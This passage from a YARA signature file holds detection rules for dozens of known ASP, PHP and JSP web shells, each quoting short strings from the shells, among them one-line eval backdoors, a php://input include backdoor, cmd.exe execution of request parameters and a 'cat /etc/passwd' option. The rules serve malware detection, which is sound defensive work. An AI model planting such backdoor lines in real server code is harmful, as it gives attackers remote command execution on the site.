		$s0 = "<%eval request(\"pass\")%>" fullword

	condition:
		all of them
}

rule webshell_asp_404
{
	meta:
		description = "Web Shell - file 404.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "d9fa1e8513dbf59fa5d130f389032a2d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "lFyw6pd^DKV^4CDRWmmnO1GVKDl:y& f+2"

	condition:
		all of them
}

rule webshell_webshell_cnseay02_1
{
	meta:
		description = "Web Shell - file webshell-cnseay02-1.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "95fc76081a42c4f26912826cb1bd24b1"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU"

	condition:
		all of them
}

rule webshell_php_fbi
{
	meta:
		description = "Web Shell - file fbi.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "1fb32f8e58c8deb168c06297a04a21f1"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = "erde types','Getallen','Datum en tijd','Tekst','Binaire gegevens','Netwerk','Geo"

	condition:
		all of them
}

rule webshell_B374kPHP_B374k
{
	meta:
		description = "Web Shell - file B374k.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "bed7388976f8f1d90422e8795dff1ea6"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "Http://code.google.com/p/b374k-shell" fullword
		$s1 = "$_=str_rot13('tm'.'vas'.'yngr');$_=str_rot13(strrev('rqb'.'prq'.'_'.'46r'.'fno'"
		$s3 = "Jayalah Indonesiaku & Lyke @ 2013" fullword
		$s4 = "B374k Vip In Beautify Just For Self" fullword

	condition:
		1 of them
}

rule webshell_cmd_asp_5_1
{
	meta:
		description = "Web Shell - file cmd-asp-5.1.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s9 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword

	condition:
		all of them
}

rule webshell_php_dodo_zip
{
	meta:
		description = "Web Shell - file zip.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "b7800364374077ce8864796240162ad5"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "$hexdtime = '\\x' . $dtime[6] . $dtime[7] . '\\x' . $dtime[4] . $dtime[5] . '\\x"
		$s3 = "$datastr = \"\\x50\\x4b\\x03\\x04\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"

	condition:
		all of them
}

rule webshell_aZRaiLPhp_v1_0
{
	meta:
		description = "Web Shell - file aZRaiLPhp v1.0.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "26b2d3943395682e36da06ed493a3715"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s5 = "echo \" <font color='#0000FF'>CHMODU \".substr(base_convert(@fileperms($"
		$s7 = "echo \"<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><fo"

	condition:
		all of them
}

rule webshell_php_list
{
	meta:
		description = "Web Shell - file list.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "922b128ddd90e1dc2f73088956c548ed"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "// list.php = Directory & File Listing" fullword
		$s2 = "    echo \"( ) <a href=?file=\" . $fichero . \"/\" . $filename . \">\" . $filena"
		$s9 = "// by: The Dark Raver" fullword

	condition:
		1 of them
}

rule webshell_ironshell
{
	meta:
		description = "Web Shell - file ironshell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "print \"<form action=\\\"\".$me.\"?p=cmd&dir=\".realpath('.').\""
		$s8 = "print \"<td id=f><a href=\\\"?p=rename&file=\".realpath($file).\"&di"

	condition:
		all of them
}

rule webshell_caidao_shell_404
{
	meta:
		description = "Web Shell - file 404.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "ee94952dc53d9a29bdf4ece54c7a7aa7"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t');$M=$_POST[ice];IF($M==NuLl)HeaDeR('St"

	condition:
		all of them
}

rule webshell_ASP_aspydrv
{
	meta:
		description = "Web Shell - file aspydrv.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "de0a58f7d1e200d0b2c801a94ebce330"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "<%=thingy.DriveLetter%> </td><td><tt> <%=thingy.DriveType%> </td><td><tt> <%=thi"

	condition:
		all of them
}

rule webshell_jsp_web
{
	meta:
		description = "Web Shell - file web.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "4bc11e28f5dccd0c45a37f2b541b2e98"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%@page import=\"java.io.*\"%><%@page import=\"java.net.*\"%><%String t=request."

	condition:
		all of them
}

rule webshell_mysqlwebsh
{
	meta:
		description = "Web Shell - file mysqlwebsh.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "babfa76d11943a22484b3837f105fada"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = " <TR><TD bgcolor=\"<? echo (!$CONNECT && $action == \"chparam\")?\"#660000\":\"#"

	condition:
		all of them
}

rule webshell_jspShell
{
	meta:
		description = "Web Shell - file jspShell.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "0d5b5a17552254be6c1c8f1eb3a5fdc1"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<input type=\"checkbox\" name=\"autoUpdate\" value=\"AutoUpdate\" on"
		$s1 = "onblur=\"document.shell.autoUpdate.checked= this.oldValue;"

	condition:
		all of them
}

rule webshell_Dx_Dx
{
	meta:
		description = "Web Shell - file Dx.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
		$s9 = "class=linelisting><nobr>POST (php eval)</td><"

	condition:
		1 of them
}

rule webshell_asp_ntdaddy
{
	meta:
		description = "Web Shell - file ntdaddy.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "c5e6baa5d140f73b4e16a6cfde671c68"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s9 = "if  FP  =  \"RefreshFolder\"  or  "
		$s10 = "request.form(\"cmdOption\")=\"DeleteFolder\"  "

	condition:
		1 of them
}

rule webshell_MySQL_Web_Interface_Version_0_8
{
	meta:
		description = "Web Shell - file MySQL Web Interface Version 0.8.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "36d4f34d0a22080f47bb1cb94107c60f"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>"

	condition:
		all of them
}

rule webshell_elmaliseker_2
{
	meta:
		description = "Web Shell - file elmaliseker.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<td<%if (FSO.GetExtensionName(path & \"\\\" & oFile.Name)=\"lnk\") or (FSO.GetEx"
		$s6 = "<input type=button value=Save onclick=\"EditorCommand('Save')\"> <input type=but"

	condition:
		all of them
}

rule webshell_ASP_RemExp
{
	meta:
		description = "Web Shell - file RemExp.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Reques"
		$s1 = "Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal"

	condition:
		all of them
}

rule webshell_jsp_list1
{
	meta:
		description = "Web Shell - file list1.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "8d9e5afa77303c9c01ff34ea4e7f6ca6"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "case 's':ConnectionDBM(out,encodeChange(request.getParameter(\"drive"
		$s9 = "return \"<a href=\\\"javascript:delFile('\"+folderReplace(file)+\"')\\\""

	condition:
		all of them
}

rule webshell_phpkit_1_0_odd
{
	meta:
		description = "Web Shell - file odd.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "594d1b1311bbef38a0eb3d6cbb1ab538"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "include('php://input');" fullword
		$s1 = "// No eval() calls, no system() calls, nothing normally seen as malicious." fullword
		$s2 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword

	condition:
		all of them
}

rule webshell_jsp_123
{
	meta:
		description = "Web Shell - file 123.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "c691f53e849676cac68a38d692467641"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<font color=\"blue\">??????????????????:</font><input type=\"text\" size=\"7"
		$s3 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
		$s9 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">    " fullword

	condition:
		all of them
}

rule webshell_asp_1
{
	meta:
		description = "Web Shell - file 1.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "8991148adf5de3b8322ec5d78cb01bdb"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "!22222222222222222222222222222222222222222222222222" fullword
		$s8 = "<%eval request(\"pass\")%>" fullword

	condition:
		all of them
}

rule webshell_ASP_tool
{
	meta:
		description = "Web Shell - file tool.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "4ab68d38527d5834e9c1ff64407b34fb"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "Response.Write \"<FORM action=\"\"\" & Request.ServerVariables(\"URL\") & \"\"\""
		$s3 = "Response.Write \"<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='\" "
		$s9 = "Response.Write \"<font face='arial' size='1'><a href=\"\"#\"\" onclick=\"\"javas"

	condition:
		2 of them
}

rule webshell_cmd_win32
{
	meta:
		description = "Web Shell - file cmd_win32.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "cc4d4d6cc9a25984aa9a7583c7def174"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /c \" + request.getParam"
		$s1 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword

	condition:
		2 of them
}

rule webshell_jsp_jshell
{
	meta:
		description = "Web Shell - file jshell.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "124b22f38aaaf064cef14711b2602c06"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "kXpeW[\"" fullword
		$s4 = "[7b:g0W@W<" fullword
		$s5 = "b:gHr,g<" fullword
		$s8 = "RhV0W@W<" fullword
		$s9 = "S_MR(u7b" fullword

	condition:
		all of them
}

rule webshell_ASP_zehir4
{
	meta:
		description = "Web Shell - file zehir4.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "7f4e12e159360743ec016273c3b9108c"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s9 = "Response.Write \"<a href='\"&dosyaPath&\"?status=7&Path=\"&Path&\"/"

	condition:
		all of them
}

rule webshell_wsb_idc
{
	meta:
		description = "Web Shell - file idc.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "7c5b1b30196c51f1accbffb80296395f"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "if (md5($_GET['usr'])==$user && md5($_GET['pass'])==$pass)" fullword
		$s3 = "{eval($_GET['idc']);}" fullword

	condition:
		1 of them
}

rule webshell_cpg_143_incl_xpl
{
	meta:
		description = "Web Shell - file cpg_143_incl_xpl.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "5937b131b67d8e0afdbd589251a5e176"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "$data=\"username=\".urlencode($USER).\"&password=\".urlencode($PA"
		$s5 = "fputs($sun_tzu,\"<?php echo \\\"Hi Master!\\\";ini_set(\\\"max_execution_time"

	condition:
		1 of them
}

rule webshell_mumaasp_com
{
	meta:
		description = "Web Shell - file mumaasp.com.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "cce32b2e18f5357c85b6d20f564ebd5d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "&9K_)P82ai,A}I92]R\"q!C:RZ}S6]=PaTTR"

	condition:
		all of them
}

rule webshell_php_404
{
	meta:
		description = "Web Shell - file 404.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "ced050df5ca42064056a7ad610a191b3"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "$pass = md5(md5(md5($pass)));" fullword

	condition:
		all of them
}

rule webshell_webshell_cnseay_x
{
	meta:
		description = "Web Shell - file webshell-cnseay-x.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "a0f9f7f5cd405a514a7f3be329f380e5"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s9 = "$_F_F.='_'.$_P_P[5].$_P_P[20].$_P_P[13].$_P_P[2].$_P_P[19].$_P_P[8].$_P_"

	condition:
		all of them
}

rule webshell_asp_up
{
	meta:
		description = "Web Shell - file up.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "f775e721cfe85019fe41c34f47c0d67c"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "Pos = InstrB(BoundaryPos,RequestBin,getByteString(\"Content-Dispositio"
		$s1 = "ContentType = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))" fullword

	condition:
		1 of them
}

rule webshell_phpkit_0_1a_odd
{
	meta:
		description = "Web Shell - file odd.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "3c30399e7480c09276f412271f60ed01"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "include('php://input');" fullword
		$s3 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
		$s4 = "// uses include('php://input') to execute arbritary code" fullword
		$s5 = "// php://input based backdoor" fullword

	condition:
		2 of them
}

rule webshell_ASP_cmd
{
	meta:
		description = "Web Shell - file cmd.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "97af88b478422067f23b001dd06d56a9"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword

	condition:
		all of them
}

rule webshell_PHP_Shell_x3
{
	meta:
		description = "Web Shell - file PHP Shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
		$s6 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
		$s9 = "if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset("

	condition:
		2 of them
}

rule webshell_PHP_g00nv13
{
	meta:
		description = "Web Shell - file g00nv13.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "35ad2533192fe8a1a76c3276140db820"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "case \"zip\": case \"tar\": case \"rar\": case \"gz\": case \"cab\": cas"
		$s4 = "if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_p"

	condition:
		all of them
}

rule webshell_php_h6ss
{
	meta:
		description = "Web Shell - file h6ss.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "272dde9a4a7265d6c139287560328cd5"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<?php eval(gzuncompress(base64_decode(\""

	condition:
		all of them
}

rule webshell_jsp_zx
{
	meta:
		description = "Web Shell - file zx.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "67627c264db1e54a4720bd6a64721674"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.g"

	condition:
		all of them
}

rule webshell_Ani_Shell
{
	meta:
		description = "Web Shell - file Ani-Shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "889bfc9fbb8ee7832044fc575324d01a"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "$Python_CODE = \"I"
		$s6 = "$passwordPrompt = \"\\n================================================="
		$s7 = "fputs ($sockfd ,\"\\n==============================================="

	condition:
		1 of them
}

rule webshell_jsp_k8cmd
{
	meta:
		description = "Web Shell - file k8cmd.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "b39544415e692a567455ff033a97a682"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "if(request.getSession().getAttribute(\"hehe\").toString().equals(\"hehe\"))" fullword

	condition:
		all of them
}

rule webshell_jsp_cmd
{
	meta:
		description = "Web Shell - file cmd.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "5391c4a8af1ede757ba9d28865e75853"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s6 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword

	condition:
		all of them
}

rule webshell_jsp_k81
{
	meta:
		description = "Web Shell - file k81.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "41efc5c71b6885add9c1d516371bd6af"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);" fullword
		$s9 = "if(cmd.equals(\"Szh0ZWFt\")){out.print(\"[S]\"+dir+\"[E]\");}" fullword

	condition:
		1 of them
}

rule webshell_ASP_zehir
{
	meta:
		description = "Web Shell - file zehir.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "0061d800aee63ccaf41d2d62ec15985d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s9 = "Response.Write \"<font face=wingdings size=3><a href='\"&dosyaPath&\"?status=18&"

	condition:
		all of them
}

rule webshell_Worse_Linux_Shell_1
{
	meta:
		description = "Web Shell - file Worse Linux Shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		old_rule_name = "webshell_Worse_Linux_Shell"
		score = 70
		hash = "8338c8d9eab10bd38a7116eb534b5fa2"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "system(\"mv \".$_FILES['_upl']['tmp_name'].\" \".$currentWD"

	condition:
		all of them
}

rule webshell_zacosmall
{
	meta:
		description = "Web Shell - file zacosmall.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "5295ee8dc2f5fd416be442548d68f7a6"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd).\"</strong><hr>"

	condition:
		all of them
}

rule webshell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit
{
	meta:
		description = "Web Shell - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword

	condition:
		all of them
}

rule webshell_redirect
{
	meta:
		description = "Web Shell - file redirect.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "97da83c6e3efbba98df270cc70beb8f8"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = "var flag = \"?txt=\" + (document.getElementById(\"dl\").checked ? \"2\":\"1\" "

	condition:
		all of them
}

rule webshell_jsp_cmdjsp
{
	meta:
		description = "Web Shell - file cmdjsp.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "b815611cc39f17f05a73444d699341d4"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s5 = "<FORM METHOD=GET ACTION='cmdjsp.jsp'>" fullword

	condition:
		all of them
}

rule webshell_Java_Shell
{
	meta:
		description = "Web Shell - file Java Shell.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "public JythonShell(int columns, int rows, int scrollback) {" fullword
		$s9 = "this(null, Py.getSystemState(), columns, rows, scrollback);" fullword

	condition:
		1 of them
}

rule webshell_asp_1d
{
	meta:
		description = "Web Shell - file 1d.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "fad7504ca8a55d4453e552621f81563c"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "+9JkskOfKhUxZJPL~\\(mD^W~[,{@#@&EO"

	condition:
		all of them
}

rule webshell_jsp_IXRbE
{
	meta:
		description = "Web Shell - file IXRbE.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "e26e7e0ebc6e7662e1123452a939e2cd"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application"

	condition:
		all of them
}

rule webshell_PHP_G5
{
	meta:
		description = "Web Shell - file G5.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		hash = "95b4a56140a650c74ed2ec36f08d757f"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "echo \"Hacking Mode?<br><select name='htype'><option >--------SELECT--------</op"

	condition:
		all of them
}

rule webshell_PHP_r57142
{
	meta:
		description = "Web Shell - file r57142.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
